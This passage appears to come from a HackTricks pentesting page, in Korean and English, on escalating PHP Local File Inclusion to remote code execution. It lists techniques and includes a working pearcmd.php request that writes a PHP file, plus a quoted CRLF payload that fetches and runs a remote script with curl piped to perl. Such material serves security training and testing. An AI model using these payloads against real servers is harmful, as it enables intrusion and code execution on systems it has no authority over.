Local File Inclusion을 발견했고 PHP 앞에 Nginx가 동작 중이라면 다음 기법으로 RCE를 얻을 수 있습니다:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS를 통한 방법

세션이 없어도, session.auto_startOff인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **PHP_SESSION_UPLOAD_PROGRESS**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용해 RCE를 얻을 수 있습니다:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows에서의 임시 파일 업로드를 통한 방법

Local File Inclusion을 발견했고 서버가 Windows에서 실행 중이라면 RCE를 얻을 수 있습니다:

LFI2RCE Via temp file uploads

pearcmd.php + URL args를 통한 방법

As explained in this post, 스크립트 /usr/local/lib/phppearcmd.php는 php docker 이미지에 기본으로 존재합니다. 또한 URL 매개변수에 =가 없으면 해당 값이 인수로 사용된다고 되어 있어, URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 watchTowr’s write-upOrange Tsai’s “Confusion Attacks”를 참조하세요.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

다음은 CRLF vuln을 악용해 RCE를 획득하는 사례입니다 (출처: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo()를 통한 (file_uploads = on)

If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure를 통한

If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce를 통한

If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:

LFI2RCE via Eternal waiting

Fatal Error로

If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).

제가 이게 어떻게 유용한지 모르겠지만 가능성은 있습니다.
심지어 PHP Fatal Error를 유발하더라도, 업로드된 PHP 임시 파일은 삭제됩니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기